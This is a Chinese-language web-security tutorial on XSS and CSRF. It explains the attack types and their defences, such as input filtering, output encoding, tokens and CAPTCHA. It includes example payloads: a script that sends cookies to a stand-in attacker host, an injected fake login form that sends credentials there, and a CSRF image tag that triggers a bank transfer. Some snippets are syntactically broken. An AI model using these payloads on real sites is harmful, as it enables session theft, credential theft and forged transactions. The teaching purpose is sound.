Appearance
Web 攻防之 XSS、CSRF
跨站脚本攻击(XSS)
- XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是 Web 程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如 JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的 Cookie,导航到恶意网站,携带木马等。
XSS 分类
反射型 XSS
反射型 XSS,又称非持久型 XSS。之所以称为反射型 XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来的。而称为非持久型 XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。(脚本携带在 url 上面)
比如攻击者将如下链接发送给受害者:
http://www.targetserver.com/search.asp?input=<script>alert(document.cookie);</script>
- 当受害者点击这个链接的时候,注入的脚本被当作搜索的关键词发送到目标服务器的 search.asp 页面中,则在搜索结果的返回页面中,这段脚本将被当作搜索的关键词而嵌入。这样,当用户得到搜索结果页面后,这段脚本也得到了执行。这就是反射型 XSS 攻击的原理,可以看到,攻击者巧妙地通过反射型 XSS 的攻击方式,达到了在受害者的浏览器上执行脚本的目的。由于代码注入的是一个动态产生的页面而不是永久的页面,因此这种攻击方式只在点击链接的时候才产生作用,这也是它被称为非持久型 XSS 的原因
存储型 XSS
- 存储型 XSS,又称持久型 XSS,他和反射型 XSS 最大的不同就是,攻击脚本将被永久地存放在目标服务器的数据库和文件中。这种攻击多见于论坛,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入到帖子的内容之中。随着帖子被论坛服务器存储下来,恶意脚本也永久地被存放在论坛服务器的后端存储器中。当其它用户浏览这个被注入了恶意脚本的帖子的时候,恶意脚本则会在他们的浏览器中得到执行,从而受到了攻击。(脚本在数据库中,如发帖)
Xss 危害
1.盗取 cookie
通过 XSS 攻击,由于注入代码是在受害者的浏览器上执行,因此能够很方便地窃取到受害者的 Cookie 信息。比如,我们只要注入类似如下的代码:
js
<script>
location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)
</script>
当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站 www.attackpage.com,打开其中的 recourd.asp,将受害者浏览器的 Cookie 信息给记录下来。这样,攻击者就得到了用户的 Cookie 信息。
得到受害者的 Cookie 信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。
2.钓鱼攻击
所谓钓鱼攻击就是构建一个钓鱼页面,诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用 XSS 的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:
<script>
function hack(){
location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value;
}
</script>
<form>
<br> <H3>此功能需要登录:</H3 >
<br><br>请输入用户名:<br>
<input type=”text” id=”user”name=”user”>
<br>请输入密码:<br>
<input type=”password” name =“pass”>
<br><input type=”submit”name=”login” value=”登录”onclick=”hack()”>
</form>
注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行 hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用 户的账号信息。和一般的钓鱼攻击不同,XSS 引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。
CSRF 攻击
比如我们注入如下的 HTML 代码:
html
<img src = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的 123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的 Cookie 信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。
传播恶意软件
除了直接注入恶意脚本以外,通过 XSS 攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用 XSS 注入的方式,插入一 段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。
XSS 的预防
输入过滤
对用户的所有输入数据进行检测,比如过滤其中的“<”、“>”、“/”等可能导致脚本注入的特殊字符,或者过滤“script”、“javascript”等脚本关键字,或者对输入数据的长度进行限制等等。同时,我们也要考虑用户可能绕开 ASCII 码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码,我们也要进行相应的过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和 XSS 过滤,就能够有效地阻止 XSS 攻击。
输出编码
通过前面对 XSS 攻击的分析,我们可以看到,之所以会产生 XSS 攻击,就是因为 Web 应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的 HTML 代码的一部分。因此,当 Web 应用程序将用户的输入数据输出到目标 页面中时,只要用 HtmlEncoder 等工具先对这些数据进行编码,然后再输出到目标页面中。这样,如果用户输入一些 HTML 的脚本,也会被当成普通的文字,而不会成为目标页面 HTML 代码的一部分得到执行。
Cookie 防盗(加密/签名)
利用 XSS 攻击,攻击者可以很方便地窃取到合法用户的 Cookie 信息。因此,对于 Cookie,我们可以采取以下的措施。首先,我们要尽可能地避免在 Cookie 中泄露隐私,如用户名、密码等;其次,我们可以将 Cookie 信息利用 MD5 等 Hash 算法进行多次散列后存放;再次,为了防止重放攻击,我们也可以将 Cookie 和 IP 进行绑定,这样也可以阻止攻击者冒充正常用户的身份。
CSRF 攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
你这可以这么理解 CSRF 攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF 能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。
CSRF 漏洞现状
CSRF 这种攻击方式在 2000 年已经被国外的安全人员提出,但在国内,直到 06 年才开始被关注,08 年,国内外的多个大型社区和交互网站分别爆出 CSRF 漏洞,如:NYTimes.com(纽约时报)、Metafilter(一个大型 BLOG 网站),YouTube 和百度 HI......而现在,互联网上的许多站点仍对此毫无防备,以至于安全业界称 CSRF 为“沉睡的巨人”。
原理
网站 A :为恶意网站。
网站 B :用户已登录的网站。
当用户访问 A 站 时,A 站 私自访问 B 站 的操作链接,模拟用户操作。
假设 B 站有一个删除评论的链接:http://b.com/comment/?type=delete&id=81723
A 站 直接访问该链接,就能删除用户在 B 站 的评论。
CSRF 防御技巧
验证码
几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止 CSRF 的攻击。验证码算是对抗 CSRF 攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户的所有操作上都需要输入验证码.只有一些关键的操作,才能要求输入验证码。不过随着 HTML5 的发展。利用 canvas 标签,前端也能识别验证码的字符,让 CSRF 生效。
Token
CSRF 能攻击成功,根本原因是:操作所带的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用 Token。当向服务器传参数时,带上 Token。这个 Token 是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上 Token 值,服务器就能验证表单和 session 中的 Token 是否一致。
验证请求头 Referer 信息
禁用跨域请求